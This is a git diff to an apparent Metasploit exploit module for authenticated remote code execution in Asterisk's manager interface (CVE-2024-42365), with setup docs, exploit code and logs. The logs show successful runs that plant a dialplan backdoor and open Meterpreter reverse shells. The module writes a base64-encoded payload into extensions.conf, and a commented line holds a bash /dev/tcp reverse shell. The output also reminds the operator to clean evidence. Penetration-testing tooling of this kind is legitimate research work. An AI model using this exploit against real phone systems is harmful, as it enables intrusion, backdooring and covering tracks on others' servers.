diff --git a/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md index 381a51c09c..8cd657b30a 100644 --- a/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md +++ b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md @@ -15,31 +15,29 @@ Asterisk 18.6.0 on Freepbx SNG7-PBX16-64bit-2302-1 was NOT exploitable. ### Install -One easy method is using the FreePBX ISO (while outdated). +One easy method, while outdated, is using the FreePBX ISO. -visit :80 -set it up, make sure to not do updates. -login -FreePBX Administration -hamburger > Applications > Parking -click the red "Apply Config" button at the top, this should start the asterisk service - -1. Login (ssh/local) and edit `/etc/asterisk/manager.conf` +1. Boot to ISO and install the system. Choose Asterisk 19 +2. Visit the web interface on port 80 +3. Complete initial setup, make sure to not do updates. +4. login +5. Click FreePBX Administration +6. Click the hamburger > Applications > Parking +7. Check the parking extension and name (`70` and `Default lot` are the defaults) +8. Login (ssh/local) and edit `/etc/asterisk/manager.conf` 1. Under `[general]`: 1. Change `bindaddr` value to `0.0.0.0` - 1. If you'd like to test the version checking, grab admin's secret, and set `permit=0.0.0.0/0.0.0.0` - 1. Add the following at the bottom of the file: + 2. If you'd like to test the version checking, grab admin's secret, and set `permit=0.0.0.0/0.0.0.0` + 3. Add the following at the bottom of the file: ``` [testuser] secret=testuser write=originate permit=0.0.0.0/255.255.255.0 ``` -2. reboot box (after boot, it may take SEVERAL minutes for asterisk to come up) +9. reboot box (after boot, it may take SEVERAL minutes for asterisk to come up) - - -Default parking lot is called "Default lot" in the website interface, however its actually parkedcalls +Default parking lot is called "Default lot" in the website interface, however its actually `parkedcalls` ## Verification Steps @@ -64,23 +62,112 @@ The extensions and name of the parking lot. Defaults to `70@parkedcalls` ### EXTENSION -The extension number to backdoor. Defaults to a random number between 3-5 numbers. +The extension number to backdoor. Defaults to a random number between 3-5 digits. ## Scenarios -Specific demo of using the module that might be useful in a real world scenario. -### Version and OS +### FreePBX 12.7.8-2302-1.sng7 (SNG7-PBX16-64bit-2302-1) with Asterisk 19 ``` -code or console output +resource (ami.rb)> use exploit/linux/misc/asterisk_ami_originate_auth_rce +[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp +resource (ami.rb)> set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +resource (ami.rb)> set lhost 2.2.2.2 +lhost => 2.2.2.2 +resource (ami.rb)> set username testuser +username => testuser +resource (ami.rb)> set password testuser +password => testuser +resource (ami.rb)> set verbose true +verbose => true +msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > set parkinglot 700@parkedcalls +parkinglot => 700@parkedcalls +msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > exploit + +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] 1.1.1.1:5038 - Running automatic check ("set AutoCheck false" to disable) +[*] 1.1.1.1:5038 - Connecting... +[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 8.0.2 +[*] 1.1.1.1:5038 - Authenticating as 'testuser' +[!] 1.1.1.1:5038 - No active DB -- Credential data will not be saved! +[+] 1.1.1.1:5038 - Authenticated successfully +[*] 1.1.1.1:5038 - Checking Asterisk version +[!] 1.1.1.1:5038 - The service is running, but could not be validated. Able to connect, unable to determine version +[*] 1.1.1.1:5038 - Connecting... +[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 8.0.2 +[*] 1.1.1.1:5038 - Authenticating as 'testuser' +[+] 1.1.1.1:5038 - Authenticated successfully +[*] 1.1.1.1:5038 - Using new context name: EfVeZSDeGcn +[*] 1.1.1.1:5038 - Loading conf file +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Setting backdoor +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Reloading config +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Triggering shellcode +[*] Sending stage (24772 bytes) to 1.1.1.1 +[+] 1.1.1.1:5038 - !!!Don't forget to clean evidence from /etc/asterisk/extensions.conf!!! +[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:43812) at 2024-11-04 09:09:57 -0500 + +meterpreter > shell +Process 5831 created. +Channel 1 created. +asterisk -rx "core show version" +Asterisk 19.8.0 built by mockbuild @ jenkins7 on a x86_64 running Linux on 2023-01-16 07:07:49 UTC +cat /etc/schmooze/pbx-version +12.7.8-2302-1.sng7 ``` -For example: - -To do this specific thing, here's how you do it: +### FreePBX 12.7.8-2302-1.sng7 (SNG7-PBX16-64bit-2302-1) with Asterisk 18 ``` -msf > use module_name -msf auxiliary(module_name) > set POWERLEVEL >9000 -msf auxiliary(module_name) > exploit -``` +resource (ami.rb)> use exploit/linux/misc/asterisk_ami_originate_auth_rce +[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp +resource (ami.rb)> set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +resource (ami.rb)> set lhost 2.2.2.2 +lhost => 2.2.2.2 +resource (ami.rb)> set username testuser +username => testuser +resource (ami.rb)> set password testuser +password => testuser +resource (ami.rb)> set verbose true +verbose => true +msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > set parkinglot 700@parkedcalls +parkinglot => 700@parkedcalls +msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > exploit + +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] 1.1.1.1:5038 - Running automatic check ("set AutoCheck false" to disable) +[*] 1.1.1.1:5038 - Connecting... +[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 7.0.3 +[*] 1.1.1.1:5038 - Authenticating as 'testuser' +[!] 1.1.1.1:5038 - No active DB -- Credential data will not be saved! +[+] 1.1.1.1:5038 - Authenticated successfully +[*] 1.1.1.1:5038 - Checking Asterisk version +[!] 1.1.1.1:5038 - The service is running, but could not be validated. Able to connect, unable to determine version +[*] 1.1.1.1:5038 - Connecting... +[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 7.0.3 +[*] 1.1.1.1:5038 - Authenticating as 'testuser' +[+] 1.1.1.1:5038 - Authenticated successfully +[*] 1.1.1.1:5038 - Using new context name: fSvWOLdAx +[*] 1.1.1.1:5038 - Loading conf file +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Setting backdoor +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Reloading config +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Triggering shellcode +[*] Sending stage (24772 bytes) to 1.1.1.1 +[+] 1.1.1.1:5038 - !!!Don't forget to clean evidence from /etc/asterisk/extensions.conf!!! +[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:53468) at 2024-11-04 09:37:35 -0500 + +meterpreter > shell +Process 3977 created. +Channel 1 created. +asterisk -rx "core show version" +Asterisk 18.16.0 built by mockbuild @ jenkins7 on a x86_64 running Linux on 2023-01-16 06:50:30 UTC +cat /etc/schmooze/pbx-version +12.7.8-2302-1.sng7 +``` \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/asterisk.rb b/lib/msf/core/exploit/remote/asterisk.rb index 4cbaada5b1..adff4b70dd 100644 --- a/lib/msf/core/exploit/remote/asterisk.rb +++ b/lib/msf/core/exploit/remote/asterisk.rb @@ -35,10 +35,11 @@ module Msf res rescue Timeout::Error print_error "Timeout (#{timeout} seconds)" - rescue StandardError => e - print_error("Unknown exception") + rescue StandardError # unsure why but getting no implicit conversion of nil into String with the following code + # this can be tested with successful exploitation of asterisk_ami_originate_auth_rce module # print_error e.message + print_error('Unknown exception') end # @@ -69,6 +70,13 @@ module Msf false end + # + # Handler for logging in to AMI + # + # @param username [String] username of the user + # @param password [String] password of the user + # + # @return [Boolean] true on success, false on failure def login(username, password) vprint_status "Authenticating as '#{username}'" diff --git a/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb b/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb index fd1aaa812c..3d0f3de3bc 100644 --- a/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb +++ b/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb @@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote user (typically asterisk). Default parking lot in FreePBX is called "Default lot" on the website interface, however its actually 'parkedcalls'. - Tested against Asterisk 19.8.0 on Freepbx SNG7-PBX16-64bit-2302-1. + Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1. Asterisk 18.6.0 on Freepbx SNG7-PBX16-64bit-2302-1 was NOT exploitable. }, 'Author' => [ @@ -34,8 +34,18 @@ class MetasploitModule < Msf::Exploit::Remote ['CVE', '2024-42365'] ], 'Platform' => 'unix', + # leaving this for future travelers. I was still not getting 100% payload compatibility + # so there seems to still be another character or two bad, but b64 fixed it. + # 'Payload' => { + # # ; is a comment in the extensions.conf file + # 'BadChars' => ";\r\n:\"" # https://docs.asterisk.org/Configuration/Interfaces/Asterisk-Manager-Interface-AMI/AMI-v2-Specification/#message-layout + # }, + + # 927 characters (w/o padding) is the max (Error, Message: Failed to parse message: line too long) + # `echo "" | base64 -d | sh` == 19 characters + # chatGPT says 908 b64 encoded characters makes 681 pre-encoding. 'Payload' => { - 'BadChars' => ';' + 'Space' => 681 }, 'Targets' => [ [ @@ -43,7 +53,6 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => 'unix', 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, 'Type' => :unix_command } ], @@ -149,7 +158,7 @@ class MetasploitModule < Msf::Exploit::Remote req << "Application: SET\r\n" # from the PoC # req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(/bin/bash -c 'sh -i >& /dev/tcp/127.0.0.1/4444 0>&1')\r\n" - req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(#{payload.encoded})\r\n" + req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(echo \"#{Base64.strict_encode64(payload.encoded).gsub("\n", '')}\" | base64 -d | sh)\r\n" req << "\r\n" res = send_command req res = res.strip.gsub("\r\n", ', ')